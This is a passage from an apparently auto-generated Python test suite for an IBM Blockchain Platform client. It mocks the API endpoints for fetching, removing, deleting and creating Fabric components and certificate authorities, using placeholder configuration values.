"limits": {"cpu": "8000m", "memory": "16384M"}}, "orderer": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "proxy": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}, "statedb": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}}, "scheme_version": "v1", "state_db": "couchdb", "storage": {"ca": {"size": "4GiB", "class": "default"}, "peer": {"size": "4GiB", "class": "default"}, "orderer": {"size": "4GiB", "class": "default"}, "statedb": {"size": "4GiB", "class": "default"}}, "timestamp": 1537262855753, "tags": ["fabric-ca"], "version": "1.4.6-1", "zone": "-"}'
responses.add(responses.GET,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
id = 'testString'
# Pass in all but one required param and check for a ValueError
req_param_dict = {
"id": id,
}
for param in req_param_dict.keys():
req_copy = {key:val if key is not param else None for (key,val) in req_param_dict.items()}
with pytest.raises(ValueError):
service.get_component(**req_copy)
class TestRemoveComponent():
"""
Test Class for remove_component
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_remove_component_all_params(self):
"""
remove_component()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/components/testString')
mock_response = '{"message": "deleted", "type": "fabric-peer", "id": "component1", "display_name": "My Peer"}'
responses.add(responses.DELETE,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
id = 'testString'
# Invoke method
response = service.remove_component(
id,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
@responses.activate
def test_remove_component_value_error(self):
"""
test_remove_component_value_error()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/components/testString')
mock_response = '{"message": "deleted", "type": "fabric-peer", "id": "component1", "display_name": "My Peer"}'
responses.add(responses.DELETE,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
id = 'testString'
# Pass in all but one required param and check for a ValueError
req_param_dict = {
"id": id,
}
for param in req_param_dict.keys():
req_copy = {key:val if key is not param else None for (key,val) in req_param_dict.items()}
with pytest.raises(ValueError):
service.remove_component(**req_copy)
class TestDeleteComponent():
"""
Test Class for delete_component
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_delete_component_all_params(self):
"""
delete_component()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/kubernetes/components/testString')
mock_response = '{"message": "deleted", "type": "fabric-peer", "id": "component1", "display_name": "My Peer"}'
responses.add(responses.DELETE,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
id = 'testString'
# Invoke method
response = service.delete_component(
id,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
@responses.activate
def test_delete_component_value_error(self):
"""
test_delete_component_value_error()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/kubernetes/components/testString')
mock_response = '{"message": "deleted", "type": "fabric-peer", "id": "component1", "display_name": "My Peer"}'
responses.add(responses.DELETE,
url,
body=mock_response,
content_type='application/json',
status=200)
# Set up parameter values
id = 'testString'
# Pass in all but one required param and check for a ValueError
req_param_dict = {
"id": id,
}
for param in req_param_dict.keys():
req_copy = {key:val if key is not param else None for (key,val) in req_param_dict.items()}
with pytest.raises(ValueError):
service.delete_component(**req_copy)
class TestCreateCa():
"""
Test Class for create_ca
"""
def preprocess_url(self, request_url: str):
"""
Preprocess the request URL to ensure the mock response will be found.
"""
if re.fullmatch('.*/+', request_url) is None:
return request_url
else:
return re.compile(request_url.rstrip('/') + '/+')
@responses.activate
def test_create_ca_all_params(self):
"""
create_ca()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/kubernetes/components/fabric-ca')
mock_response = '{"id": "component1", "dep_component_id": "admin", "display_name": "My CA", "api_url": "grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051", "operations_url": "https://n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud:9443", "config_override": {"anyKey": "anyValue"}, "location": "ibmcloud", "msp": {"ca": {"name": "ca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "tlsca": {"name": "tlsca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "component": {"tls_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "ecert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "admin_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}}, "resources": {"ca": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}}, "scheme_version": "v1", "storage": {"ca": {"size": "4GiB", "class": "default"}}, "tags": ["fabric-ca"], "timestamp": 1537262855753, "version": "1.4.6-1", "zone": "-"}'
responses.add(responses.POST,
url,
body=mock_response,
content_type='application/json',
status=200)
# Construct a dict representation of a ConfigCACors model
config_ca_cors_model = {}
config_ca_cors_model['enabled'] = True
config_ca_cors_model['origins'] = ['*']
# Construct a dict representation of a ConfigCATlsClientauth model
config_ca_tls_clientauth_model = {}
config_ca_tls_clientauth_model['type'] = 'noclientcert'
config_ca_tls_clientauth_model['certfiles'] = ['testString']
# Construct a dict representation of a ConfigCATls model
config_ca_tls_model = {}
config_ca_tls_model['keyfile'] = 'testString'
config_ca_tls_model['certfile'] = 'testString'
config_ca_tls_model['clientauth'] = config_ca_tls_clientauth_model
# Construct a dict representation of a ConfigCACa model
config_ca_ca_model = {}
config_ca_ca_model['keyfile'] = 'testString'
config_ca_ca_model['certfile'] = 'testString'
config_ca_ca_model['chainfile'] = 'testString'
# Construct a dict representation of a ConfigCACrl model
config_ca_crl_model = {}
config_ca_crl_model['expiry'] = '24h'
# Construct a dict representation of a IdentityAttrs model
identity_attrs_model = {}
identity_attrs_model['hf.Registrar.Roles'] = '*'
identity_attrs_model['hf.Registrar.DelegateRoles'] = '*'
identity_attrs_model['hf.Revoker'] = True
identity_attrs_model['hf.IntermediateCA'] = True
identity_attrs_model['hf.GenCRL'] = True
identity_attrs_model['hf.Registrar.Attributes'] = '*'
identity_attrs_model['hf.AffiliationMgr'] = True
# Construct a dict representation of a ConfigCARegistryIdentitiesItem model
config_ca_registry_identities_item_model = {}
config_ca_registry_identities_item_model['name'] = 'admin'
config_ca_registry_identities_item_model['pass'] = 'password'
config_ca_registry_identities_item_model['type'] = 'client'
config_ca_registry_identities_item_model['maxenrollments'] = -1
config_ca_registry_identities_item_model['affiliation'] = 'testString'
config_ca_registry_identities_item_model['attrs'] = identity_attrs_model
# Construct a dict representation of a ConfigCARegistry model
config_ca_registry_model = {}
config_ca_registry_model['maxenrollments'] = -1
config_ca_registry_model['identities'] = [config_ca_registry_identities_item_model]
# Construct a dict representation of a ConfigCADbTlsClient model
config_ca_db_tls_client_model = {}
config_ca_db_tls_client_model['certfile'] = 'testString'
config_ca_db_tls_client_model['keyfile'] = 'testString'
# Construct a dict representation of a ConfigCADbTls model
config_ca_db_tls_model = {}
config_ca_db_tls_model['certfiles'] = ['testString']
config_ca_db_tls_model['client'] = config_ca_db_tls_client_model
config_ca_db_tls_model['enabled'] = False
# Construct a dict representation of a ConfigCADb model
config_ca_db_model = {}
config_ca_db_model['type'] = 'postgres'
config_ca_db_model['datasource'] = 'host=fake.databases.appdomain.cloud port=31941 user=ibm_cloud password=password dbname=ibmclouddb sslmode=verify-full'
config_ca_db_model['tls'] = config_ca_db_tls_model
# Construct a dict representation of a ConfigCAAffiliations model
config_ca_affiliations_model = {}
config_ca_affiliations_model['org1'] = ['department1']
config_ca_affiliations_model['org2'] = ['department1']
config_ca_affiliations_model['foo'] = { 'foo': 'bar' }
# Construct a dict representation of a ConfigCACsrKeyrequest model
config_ca_csr_keyrequest_model = {}
config_ca_csr_keyrequest_model['algo'] = 'ecdsa'
config_ca_csr_keyrequest_model['size'] = 256
# Construct a dict representation of a ConfigCACsrNamesItem model
config_ca_csr_names_item_model = {}
config_ca_csr_names_item_model['C'] = 'US'
config_ca_csr_names_item_model['ST'] = 'North Carolina'
config_ca_csr_names_item_model['L'] = 'Raleigh'
config_ca_csr_names_item_model['O'] = 'Hyperledger'
config_ca_csr_names_item_model['OU'] = 'Fabric'
# Construct a dict representation of a ConfigCACsrCa model
config_ca_csr_ca_model = {}
config_ca_csr_ca_model['expiry'] = '131400h'
config_ca_csr_ca_model['pathlength'] = 0
# Construct a dict representation of a ConfigCACsr model
config_ca_csr_model = {}
config_ca_csr_model['cn'] = 'ca'
config_ca_csr_model['keyrequest'] = config_ca_csr_keyrequest_model
config_ca_csr_model['names'] = [config_ca_csr_names_item_model]
config_ca_csr_model['hosts'] = ['localhost']
config_ca_csr_model['ca'] = config_ca_csr_ca_model
# Construct a dict representation of a ConfigCAIdemix model
config_ca_idemix_model = {}
config_ca_idemix_model['rhpoolsize'] = 100
config_ca_idemix_model['nonceexpiration'] = '15s'
config_ca_idemix_model['noncesweepinterval'] = '15m'
# Construct a dict representation of a BccspSW model
bccsp_sw_model = {}
bccsp_sw_model['Hash'] = 'SHA2'
bccsp_sw_model['Security'] = 256
# Construct a dict representation of a BccspPKCS11 model
bccsp_pkc_s11_model = {}
bccsp_pkc_s11_model['Label'] = 'testString'
bccsp_pkc_s11_model['Pin'] = 'testString'
bccsp_pkc_s11_model['Hash'] = 'SHA2'
bccsp_pkc_s11_model['Security'] = 256
# Construct a dict representation of a Bccsp model
bccsp_model = {}
bccsp_model['Default'] = 'SW'
bccsp_model['SW'] = bccsp_sw_model
bccsp_model['PKCS11'] = bccsp_pkc_s11_model
# Construct a dict representation of a ConfigCAIntermediateParentserver model
config_ca_intermediate_parentserver_model = {}
config_ca_intermediate_parentserver_model['url'] = 'testString'
config_ca_intermediate_parentserver_model['caname'] = 'testString'
# Construct a dict representation of a ConfigCAIntermediateEnrollment model
config_ca_intermediate_enrollment_model = {}
config_ca_intermediate_enrollment_model['hosts'] = 'localhost'
config_ca_intermediate_enrollment_model['profile'] = 'testString'
config_ca_intermediate_enrollment_model['label'] = 'testString'
# Construct a dict representation of a ConfigCAIntermediateTlsClient model
config_ca_intermediate_tls_client_model = {}
config_ca_intermediate_tls_client_model['certfile'] = 'testString'
config_ca_intermediate_tls_client_model['keyfile'] = 'testString'
# Construct a dict representation of a ConfigCAIntermediateTls model
config_ca_intermediate_tls_model = {}
config_ca_intermediate_tls_model['certfiles'] = ['testString']
config_ca_intermediate_tls_model['client'] = config_ca_intermediate_tls_client_model
# Construct a dict representation of a ConfigCAIntermediate model
config_ca_intermediate_model = {}
config_ca_intermediate_model['parentserver'] = config_ca_intermediate_parentserver_model
config_ca_intermediate_model['enrollment'] = config_ca_intermediate_enrollment_model
config_ca_intermediate_model['tls'] = config_ca_intermediate_tls_model
# Construct a dict representation of a ConfigCACfgIdentities model
config_ca_cfg_identities_model = {}
config_ca_cfg_identities_model['passwordattempts'] = 10
config_ca_cfg_identities_model['allowremove'] = False
# Construct a dict representation of a ConfigCACfg model
config_ca_cfg_model = {}
config_ca_cfg_model['identities'] = config_ca_cfg_identities_model
# Construct a dict representation of a MetricsStatsd model
metrics_statsd_model = {}
metrics_statsd_model['network'] = 'udp'
metrics_statsd_model['address'] = '127.0.0.1:8125'
metrics_statsd_model['writeInterval'] = '10s'
metrics_statsd_model['prefix'] = 'server'
# Construct a dict representation of a Metrics model
metrics_model = {}
metrics_model['provider'] = 'prometheus'
metrics_model['statsd'] = metrics_statsd_model
# Construct a dict representation of a ConfigCASigningDefault model
config_ca_signing_default_model = {}
config_ca_signing_default_model['usage'] = ['cert sign']
config_ca_signing_default_model['expiry'] = '8760h'
# Construct a dict representation of a ConfigCASigningProfilesCaCaconstraint model
config_ca_signing_profiles_ca_caconstraint_model = {}
config_ca_signing_profiles_ca_caconstraint_model['isca'] = True
config_ca_signing_profiles_ca_caconstraint_model['maxpathlen'] = 0
config_ca_signing_profiles_ca_caconstraint_model['maxpathlenzero'] = True
# Construct a dict representation of a ConfigCASigningProfilesCa model
config_ca_signing_profiles_ca_model = {}
config_ca_signing_profiles_ca_model['usage'] = ['cert sign']
config_ca_signing_profiles_ca_model['expiry'] = '43800h'
config_ca_signing_profiles_ca_model['caconstraint'] = config_ca_signing_profiles_ca_caconstraint_model
# Construct a dict representation of a ConfigCASigningProfilesTls model
config_ca_signing_profiles_tls_model = {}
config_ca_signing_profiles_tls_model['usage'] = ['cert sign']
config_ca_signing_profiles_tls_model['expiry'] = '43800h'
# Construct a dict representation of a ConfigCASigningProfiles model
config_ca_signing_profiles_model = {}
config_ca_signing_profiles_model['ca'] = config_ca_signing_profiles_ca_model
config_ca_signing_profiles_model['tls'] = config_ca_signing_profiles_tls_model
# Construct a dict representation of a ConfigCASigning model
config_ca_signing_model = {}
config_ca_signing_model['default'] = config_ca_signing_default_model
config_ca_signing_model['profiles'] = config_ca_signing_profiles_model
# Construct a dict representation of a ConfigCACreate model
config_ca_create_model = {}
config_ca_create_model['cors'] = config_ca_cors_model
config_ca_create_model['debug'] = False
config_ca_create_model['crlsizelimit'] = 512000
config_ca_create_model['tls'] = config_ca_tls_model
config_ca_create_model['ca'] = config_ca_ca_model
config_ca_create_model['crl'] = config_ca_crl_model
config_ca_create_model['registry'] = config_ca_registry_model
config_ca_create_model['db'] = config_ca_db_model
config_ca_create_model['affiliations'] = config_ca_affiliations_model
config_ca_create_model['csr'] = config_ca_csr_model
config_ca_create_model['idemix'] = config_ca_idemix_model
config_ca_create_model['BCCSP'] = bccsp_model
config_ca_create_model['intermediate'] = config_ca_intermediate_model
config_ca_create_model['cfg'] = config_ca_cfg_model
config_ca_create_model['metrics'] = metrics_model
config_ca_create_model['signing'] = config_ca_signing_model
# Construct a dict representation of a CreateCaBodyConfigOverride model
create_ca_body_config_override_model = {}
create_ca_body_config_override_model['ca'] = config_ca_create_model
create_ca_body_config_override_model['tlsca'] = config_ca_create_model
# Construct a dict representation of a ResourceRequests model
resource_requests_model = {}
resource_requests_model['cpu'] = '100m'
resource_requests_model['memory'] = '256MiB'
# Construct a dict representation of a ResourceLimits model
resource_limits_model = {}
resource_limits_model['cpu'] = '100m'
resource_limits_model['memory'] = '256MiB'
# Construct a dict representation of a ResourceObject model
resource_object_model = {}
resource_object_model['requests'] = resource_requests_model
resource_object_model['limits'] = resource_limits_model
# Construct a dict representation of a CreateCaBodyResources model
create_ca_body_resources_model = {}
create_ca_body_resources_model['ca'] = resource_object_model
# Construct a dict representation of a StorageObject model
storage_object_model = {}
storage_object_model['size'] = '4GiB'
storage_object_model['class'] = 'default'
# Construct a dict representation of a CreateCaBodyStorage model
create_ca_body_storage_model = {}
create_ca_body_storage_model['ca'] = storage_object_model
# Construct a dict representation of a Hsm model
hsm_model = {}
hsm_model['pkcs11endpoint'] = 'tcp://example.com:666'
# Set up parameter values
display_name = 'My CA'
config_override = create_ca_body_config_override_model
id = 'component1'
resources = create_ca_body_resources_model
storage = create_ca_body_storage_model
zone = '-'
replicas = 1
tags = ['fabric-ca']
hsm = hsm_model
region = '-'
version = '1.4.6-1'
# Invoke method
response = service.create_ca(
display_name,
config_override,
id=id,
resources=resources,
storage=storage,
zone=zone,
replicas=replicas,
tags=tags,
hsm=hsm,
region=region,
version=version,
headers={}
)
# Check for correct operation
assert len(responses.calls) == 1
assert response.status_code == 200
# Validate body params
req_body = json.loads(str(responses.calls[0].request.body, 'utf-8'))
assert req_body['display_name'] == 'My CA'
assert req_body['config_override'] == create_ca_body_config_override_model
assert req_body['id'] == 'component1'
assert req_body['resources'] == create_ca_body_resources_model
assert req_body['storage'] == create_ca_body_storage_model
assert req_body['zone'] == '-'
assert req_body['replicas'] == 1
assert req_body['tags'] == ['fabric-ca']
assert req_body['hsm'] == hsm_model
assert req_body['region'] == '-'
assert req_body['version'] == '1.4.6-1'
@responses.activate
def test_create_ca_value_error(self):
"""
test_create_ca_value_error()
"""
# Set up mock
url = self.preprocess_url(base_url + '/ak/api/v3/kubernetes/components/fabric-ca')
mock_response = '{"id": "component1", "dep_component_id": "admin", "display_name": "My CA", "api_url": "grpcs://n3a3ec3-mypeer.ibp.us-south.containers.appdomain.cloud:7051", "operations_url": "https://n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud:9443", "config_override": {"anyKey": "anyValue"}, "location": "ibmcloud", "msp": {"ca": {"name": "ca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "tlsca": {"name": "tlsca", "root_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}, "component": {"tls_cert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "ecert": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=", "admin_certs": ["LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo="]}}, "resources": {"ca": {"requests": {"cpu": "100m", "memory": "256M"}, "limits": {"cpu": "8000m", "memory": "16384M"}}}, "scheme_version": "v1", "storage": {"ca": {"size": "4GiB", "class": "default"}}, "tags": ["fabric-ca"], "timestamp": 1537262855753, "version": "1.4.6-1", "zone": "-"}'
responses.add(responses.POST,
url,
body=mock_response,
content_type='application/json',
status=200)
# Construct a dict representation of a ConfigCACors model
config_ca_cors_model = {}
config_ca_cors_model['enabled'] = True
config_ca_cors_model['origins'] = ['*']
# Construct a dict representation of a ConfigCATlsClientauth model
config_ca_tls_clientauth_model = {}
config_ca_tls_clientauth_model['type'] = 'noclientcert'
config_ca_tls_clientauth_model['certfiles'] = ['testString']
# Construct a dict representation of a ConfigCATls model
config_ca_tls_model = {}
config_ca_tls_model['keyfile'] = 'testString'
config_ca_tls_model['certfile'] = 'testString'
config_ca_tls_model['clientauth'] = config_ca_tls_clientauth_model
# Construct a dict representation of a ConfigCACa model
config_ca_ca_model = {}
config_ca_ca_model['keyfile'] = 'testString'
config_ca_ca_model['certfile'] = 'testString'
config_ca_ca_model['chainfile'] = 'testString'
# Construct a dict representation of a ConfigCACrl model
config_ca_crl_model = {}
config_ca_crl_model['expiry'] = '24h'
# Construct a dict representation of a IdentityAttrs model
identity_attrs_model = {}
identity_attrs_model['hf.Registrar.Roles'] = '*'
identity_attrs_model['hf.Registrar.DelegateRoles'] = '*'
identity_attrs_model['hf.Revoker'] = True
identity_attrs_model['hf.IntermediateCA'] = True
identity_attrs_model['hf.GenCRL'] = True
identity_attrs_model['hf.Registrar.Attributes'] = '*'
identity_attrs_model['hf.AffiliationMgr'] = True
# Construct a dict representation of a ConfigCARegistryIdentitiesItem model
config_ca_registry_identities_item_model = {}
config_ca_registry_identities_item_model['name'] = 'admin'
config_ca_registry_identities_item_model['pass'] = 'password'
config_ca_registry_identities_item_model['type'] = 'client'
config_ca_registry_identities_item_model['maxenrollments'] = -1
config_ca_registry_identities_item_model['affiliation'] = 'testString'
config_ca_registry_identities_item_model['attrs'] = identity_attrs_model
# Construct a dict representation of a ConfigCARegistry model
config_ca_registry_model = {}
config_ca_registry_model['maxenrollments'] = -1
config_ca_registry_model['identities'] = [config_ca_registry_identities_item_model]
# Construct a dict representation of a ConfigCADbTlsClient model
config_ca_db_tls_client_model = {}
config_ca_db_tls_client_model['certfile'] = 'testString'
config_ca_db_tls_client_model['keyfile'] = 'testString'
# Construct a dict representation of a ConfigCADbTls model
config_ca_db_tls_model = {}
config_ca_db_tls_model['certfiles'] = ['testString']
config_ca_db_tls_model['client'] = config_ca_db_tls_client_model
config_ca_db_tls_model['enabled'] = False
# Construct a dict representation of a ConfigCADb model
config_ca_db_model = {}
config_ca_db_model['type'] = 'postgres'
config_ca_db_model['datasource'] = 'host=fake.databases.appdomain.cloud port=31941 user=ibm_cloud password=password dbname=ibmclouddb sslmode=verify-full'
config_ca_db_model['tls'] = config_ca_db_tls_model
# Construct a dict representation of a ConfigCAAffiliations model
config_ca_affiliations_model = {}
config_ca_affiliations_model['org1'] = ['department1']
config_ca_affiliations_model['org2'] = ['department1']
config_ca_affiliations_model['foo'] = { 'foo': 'bar' }
# Construct a dict representation of a ConfigCACsrKeyrequest model
config_ca_csr_keyrequest_model = {}
config_ca_csr_keyrequest_model['algo'] = 'ecdsa'
config_ca_csr_keyrequest_model['size'] = 256
# Construct a dict representation of a ConfigCACsrNamesItem model
config_ca_csr_names_item_model = {}
config_ca_csr_names_item_model['C'] = 'US'
config_ca_csr_names_item_model['ST'] = 'North Carolina'
config_ca_csr_names_item_model['L'] = 'Raleigh'
config_ca_csr_names_item_model['O'] = 'Hyperledger'
config_ca_csr_names_item_model['OU'] = 'Fabric'
# Construct a dict representation of a ConfigCACsrCa model
config_ca_csr_ca_model = {}
config_ca_csr_ca_model['expiry'] = '131400h'
config_ca_csr_ca_model['pathlength'] = 0
# Construct a dict representation of a ConfigCACsr model
config_ca_csr_model = {}
config_ca_csr_model['cn'] = 'ca'
config_ca_csr_model['keyrequest'] = config_ca_csr_keyrequest_model
config_ca_csr_model['names'] = [config_ca_csr_names_item_model]
config_ca_csr_model['hosts'] = ['localhost']
config_ca_csr_model['ca'] = config_ca_csr_ca_model
# Construct a dict representation of a ConfigCAIdemix model
config_ca_idemix_model = {}
config_ca_idemix_model['rhpoolsize'] = 100
config_ca_idemix_model['nonceexpiration'] = '15s'
config_ca_idemix_model['noncesweepinterval'] = '15m'
# Construct a dict representation of a BccspSW model
bccsp_sw_model = {}
bccsp_sw_model['Hash'] = 'SHA2'
bccsp_sw_model['Security'] = 256
# Construct a dict representation of a BccspPKCS11 model
bccsp_pkc_s11_model = {}
bccsp_pkc_s11_model['Label'] = 'testString'
bccsp_pkc_s11_model['Pin'] = 'testString'
bccsp_pkc_s11_model['Hash'] = 'SHA2'
bccsp_pkc_s11_model['Security'] = 256
# Construct a dict representation of a Bccsp model
bccsp_model = {}
bccsp_model['Default'] = 'SW'
bccsp_model['SW'] = bccsp_sw_model
bccsp_model['PKCS11'] = bccsp_pkc_s11_model
# Construct a dict representation of a ConfigCAIntermediateParentserver model
config_ca_intermediate_parentserver_model = {}
config_ca_intermediate_parentserver_model['url'] = 'testString'
config_ca_intermediate_parentserver_model['caname'] = 'testString'
# Construct a dict representation of a ConfigCAIntermediateEnrollment model
config_ca_intermediate_enrollment_model = {}
config_ca_intermediate_enrollment_model['hosts'] = 'localhost'
config_ca_intermediate_enrollment_model['profile'] = 'testString'
config_ca_intermediate_enrollment_model['label'] = 'testString'
# Construct a dict representation of a ConfigCAIntermediateTlsClient model
config_ca_intermediate_tls_client_model = {}
config_ca_intermediate_tls_client_model['certfile'] = 'testString'
config_ca_intermediate_tls_client_model['keyfile'] = 'testString'
# Construct a dict representation of a ConfigCAIntermediateTls model
config_ca_intermediate_tls_model = {}
config_ca_intermediate_tls_model['certfiles'] = ['testString']
config_ca_intermediate_tls_model['client'] = config_ca_intermediate_tls_client_model
# Construct a dict representation of a ConfigCAIntermediate model
config_ca_intermediate_model = {}
config_ca_intermediate_model['parentserver'] = config_ca_intermediate_parentserver_model
config_ca_intermediate_model['enrollment'] = config_ca_intermediate_enrollment_model
config_ca_intermediate_model['tls'] = config_ca_intermediate_tls_model
# Construct a dict representation of a ConfigCACfgIdentities model
config_ca_cfg_identities_model = {}
config_ca_cfg_identities_model['passwordattempts'] = 10
config_ca_cfg_identities_model['allowremove'] = False
# Construct a dict representation of a ConfigCACfg model
config_ca_cfg_model = {}
config_ca_cfg_model['identities'] = config_ca_cfg_identities_model
# Construct a dict representation of a MetricsStatsd model
metrics_statsd_model = {}
metrics_statsd_model['network'] = 'udp'
metrics_statsd_model['address'] = '127.0.0.1:8125'
metrics_statsd_model['writeInterval'] = '10s'
metrics_statsd_model['prefix'] = 'server'
# Construct a dict representation of a Metrics model
metrics_model = {}
metrics_model['provider'] = 'prometheus'
metrics_model['statsd'] = metrics_statsd_model
# Construct a dict representation of a ConfigCASigningDefault model
config_ca_signing_default_model = {}
config_ca_signing_default_model['usage'] = ['cert sign']
config_ca_signing_default_model['expiry'] = '8760h'
# Construct a dict representation of a ConfigCASigningProfilesCaCaconstraint model
config_ca_signing_profiles_ca_caconstraint_model = {}
config_ca_signing_profiles_ca_caconstraint_model['isca'] = True
config_ca_signing_profiles_ca_caconstraint_model['maxpathlen'] = 0
config_ca_signing_profiles_ca_caconstraint_model['maxpathlenzero'] = True
# Construct a dict representation of a ConfigCASigningProfilesCa model
config_ca_signing_profiles_ca_model = {}
config_ca_signing_profiles_ca_model['usage'] = ['cert sign']
config_ca_signing_profiles_ca_model['expiry'] = '43800h'
config_ca_signing_profiles_ca_model['caconstraint'] = config_ca_signing_profiles_ca_caconstraint_model
# Construct a dict representation of a ConfigCASigningProfilesTls model
config_ca_signing_profiles_tls_model = {}
config_ca_signing_profiles_tls_model['usage'] = ['cert sign']
config_ca_signing_profiles_tls_model['expiry'] = '43800h'
# Construct a dict representation of a ConfigCASigningProfiles model
config_ca_signing_profiles_model = {}
config_ca_signing_profiles_model['ca'] = config_ca_signing_profiles_ca_model
config_ca_signing_profiles_model['tls'] = config_ca_signing_profiles_tls_model
# Construct a dict representation of a ConfigCASigning model
config_ca_signing_model = {}
config_ca_signing_model['default'] = config_ca_signing_default_model
config_ca_signing_model['profiles'] = config_ca_signing_profiles_model
# Construct a dict representation of a ConfigCACreate model
config_ca_create_model = {}
config_ca_create_model['cors'] = config_ca_cors_model
config_ca_create_model['debug'] = False
config_ca_create_model['crlsizelimit'] = 512000
config_ca_create_model['tls'] = config_ca_tls_model
config_ca_create_model['ca'] = config_ca_ca_model
config_ca_create_model['crl'] = config_ca_crl_model
config_ca_create_model['registry'] = config_ca_registry_model
config_ca_create_model['db'] = config_ca_db_model
config_ca_create_model['affiliations'] = config_ca_affiliations_model
config_ca_create_model['csr'] = config_ca_csr_model
config_ca_create_model['idemix'] = config_ca_idemix_model
config_ca_create_model['BCCSP'] = bccsp_model
config_ca_create_model['intermediate'] = config_ca_intermediate_model
config_ca_create_model['cfg'] = config_ca_cfg_model
config_ca_create_model['metrics'] = metrics_model
config_ca_create_model['signing'] = config_ca_signing_model
# Construct a dict representation of a CreateCaBodyConfigOverride model
create_ca_body_config_override_model = {}
create_ca_body_config_override_model['ca'] = config_ca_create_model
create_ca_body_config_override_model['tlsca'] = config_ca_create_model
# Construct a dict representation of a ResourceRequests model
resource_requests_model = {}
resource_requests_model['cpu'] = '100m'
resource_requests_model['memory'] = '256MiB'
# Construct a dict representation of a ResourceLimits model
resource_limits_model = {}
resource_limits_model['cpu'] = '100m'
resource_limits_model['memory'] = '256MiB'
# Construct a dict representation of a ResourceObject model
resource_object_model = {}
resource_object_model['requests'] = resource_requests_model
resource_object_model['limits'] = resource_limits_model
# Construct a dict representation of a CreateCaBodyResources model
create_ca_body_resources_model = {}
create_ca_body_resources_model['ca'] = resource_object_model
# Construct a dict representation of a StorageObject model
storage_object_model = {}
storage_object_model['size'] = '4GiB'
storage_object_model['class'] = 'default'
# Construct a dict representation of a CreateCaBodyStorage model
create_ca_body_storage_model = {}
create_ca_body_storage_model['ca'] = storage_object_model
# Construct a dict representation of a Hsm model
hsm_model = {}
hsm_model['pkcs11endpoint'] = 'tcp://example.com:666'
# Set up parameter values
display_name = 'My CA'
config_override = create_ca_body_config_override_model
id = 'component1'
resources = create_ca_body_resources_model
storage = create_ca_body_storage_model
zone = '-'
replicas = 1
tags = ['fabric-ca']
hsm = hsm_model
region = '-'
version = '1.4.6-1'
# Pass in all but one required param and check for a ValueError
req_param_dict = {
"display_name": display_name,
"config_override": config_override,
}
for param in req_param_dict.keys():
